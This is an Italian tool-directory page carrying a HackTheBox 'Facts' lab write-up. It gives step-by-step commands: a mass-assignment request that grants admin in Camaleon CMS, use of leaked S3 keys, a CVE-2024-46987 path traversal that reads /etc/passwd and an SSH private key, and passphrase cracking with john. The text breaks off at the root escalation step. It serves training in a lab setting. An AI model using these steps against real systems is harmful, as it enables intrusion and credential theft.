Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
HackTheBox-Facts — HTB Facts è una macchina Linux facile che include Camaleon CMS e MinIO. Ottieni l'accesso amministrativo tramite registrazione aperta e una vulnerabilità di mass assignment, quindi estrai le credenziali MinIO dalle impostazioni di amministrazione. Utilizza il path traversal CVE-2024-46987 per rubare una chiave privata SSH, crackare la sua passphrase e ottenere i privilegi di root abusando dei permessi sudo su facter tramite GTFOBins. | Kitploit
Strumenti/GitHubGitHub/suriyaboon/hackthebox-facts
Escalation di PrivilegiRicognizioneAttacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingSicurezza Cloud

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

HTB Facts è una macchina Linux facile che include Camaleon CMS e MinIO. Ottieni l'accesso amministrativo tramite registrazione aperta e una vulnerabilità di mass assignment, quindi estrai le credenziali MinIO dalle impostazioni di amministrazione. Utilizza il path traversal CVE-2024-46987 per rubare una chiave privata SSH, crackare la sua passphrase e ottenere i privilegi di root abusando dei permessi sudo su facter tramite GTFOBins.

Apprendimento e Formazione
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

Vedi Repository
2016 giorni faNon ancora revisionato
Condividi

HTB Facts — Writeup Completo

OS: Linux
Tags: Web, MinIO, Camaleon CMS, Path Traversal, Privilege Escalation


Indice

  1. Ricognizione
  2. Enumerazione Web — Porta 80
  3. Scoperta di MinIO — Porta 54321
  4. Camaleon CMS — Accesso Admin
  5. Escalation dei Privilegi al Ruolo Admin
  6. Scoperta delle Credenziali MinIO
  7. Lettura Arbitraria di File — CVE-2024-46987
  8. Accesso SSH come trivia
  9. Escalation dei Privilegi a Root
  10. Flag

Ricognizione

Iniziare con una scansione completa delle porte TCP per identificare i servizi aperti.

nmap -p- --min-rate 5000 -T4 10.129.244.96

Risultati:

PortaServizioNote
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321SconosciutoIdentificato come MinIO

Aggiungere il target a /etc/hosts:

echo "10.129.244.96 facts.htb" >> /etc/hosts

Enumerazione Web — Porta 80

Navigando su http://facts.htb si scopre un sito di trivia costruito su Camaleon CMS (Ruby on Rails). Indicatori chiave:

  • Nome del cookie: _factsapp_session (sessione Rails)
  • Percorsi degli asset: /assets/themes/camaleon_first/
  • Token CSRF nei meta tag
  • Server: nginx/1.26.3 (Ubuntu)

Enumerare la sitemap per tutte le pagine disponibili:

curl -s http://facts.htb/sitemap.xml

Percorsi notevoli scoperti:

  • /admin → reindirizza a /admin/login
  • /rss
  • Varie pagine di trivia: /animal-ejected, /anne-frank, ecc.

Verificare la presenza del pannello di login admin:

curl -v http://facts.htb/admin
# → 302 redirect to /admin/login

Scoperta di MinIO — Porta 54321

Sondando la porta sconosciuta con curl si scopre MinIO, un servizio di object storage compatibile con S3:

curl -v http://facts.htb:54321

Risposta:

<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

Gli header confermano: Server: MinIO

Sondare potenziali nomi di bucket (una risposta 403 da sola non conferma che un bucket esista):

for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

Tutti restituiscono 403 Forbidden — i bucket esistono ma richiedono credenziali.


Camaleon CMS — Accesso Admin

Identificazione del CMS

Dai percorsi degli asset e dal cookie di sessione, il CMS viene identificato come Camaleon CMS.

Verificare la presenza di vulnerabilità note:

searchsploit camaleon

Risultati:

Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

La versione del pannello admin è confermata come 2.9.0 (visibile nel footer dopo il login).

Creazione di un Account

La pagina di login admin su http://facts.htb/admin/login include un link "Create an account". Registrare un nuovo account:

  • Navigare su http://facts.htb/admin/users/sign_up
  • Inserire credenziali valide a piacere (es. test123 / test123)
  • Inviare — questo crea un account con ruolo Client

Dopo la registrazione, effettuare il login alla dashboard admin. L'account ha privilegi limitati di tipo Client.


Escalation dei Privilegi al Ruolo Admin

Vulnerabilità di Mass Assignment

Camaleon CMS è vulnerabile a un attacco di mass assignment sull'endpoint di cambio password. Intercettando la richiesta di cambio password e iniettando un parametro password[role], un attaccante può escalare il proprio ruolo ad admin.

Passaggi usando Burp Suite:

  1. Effettuare il login al pannello admin con l'account Client.
  2. Navigare su Profile → Edit → Change Password.
  3. Inserire una nuova password qualsiasi e cliccare Process.
  4. Intercettare la richiesta POST in Burp Suite.
  5. Aggiungere &password[role]=admin al body della richiesta:
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. Inoltrare la richiesta — la risposta dovrebbe essere 200 OK.
  2. Effettuare nuovamente il login con le credenziali aggiornate.

L'account ora ha privilegi admin, garantendo pieno accesso al pannello admin del CMS inclusi Settings, Media e Filesystem Settings.


Scoperta delle Credenziali MinIO

Con l'accesso admin, navigare su:

Settings → General Site → Filesystem Settings

La pagina rivela credenziali MinIO (compatibili AWS S3) hardcoded:

AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

Configurare AWS CLI ed enumerare i bucket:

export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

Bucket scoperti:

2025-09-11  internal
2025-09-11  randomfacts

Il bucket internal contiene la home directory dell'utente trivia:

aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

Lettura Arbitraria di File — CVE-2024-46987

In alternativa, la chiave privata SSH può essere recuperata tramite CVE-2024-46987, una vulnerabilità di path traversal autenticata in Camaleon CMS che consente la lettura arbitraria di file del server.

Clonare il PoC pubblico:

git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

Leggere file sensibili:

# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

Output (righe rilevanti):

trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Vengono identificati due utenti: trivia e william. Poiché trivia ha una shell di login e una home directory, verificare la presenza di una chiave privata SSH:

# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

Salvare l'output della chiave in un file:

chmod 600 id_ed25519

Accesso SSH come trivia

Cracking della Passphrase della Chiave SSH

La chiave privata SSH è cifrata con una passphrase. Usare ssh2john e john per crackarla:

ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Passphrase crackata: dragonballz

Login via SSH

ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz

Recuperare la flag utente:

cat /home/william/user.txt

Escalation dei Privilegi a Root

Permessi Sudo

Verificare i privilegi sudo per l'utente trivia:

sudo -l

Output:

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

L'utente può eseguire /usr/bin/facter come root senza password. facter è uno strumento Ruby per la raccolta di informazioni di sistema.

GTFOBins — facter

Scarica lo strumento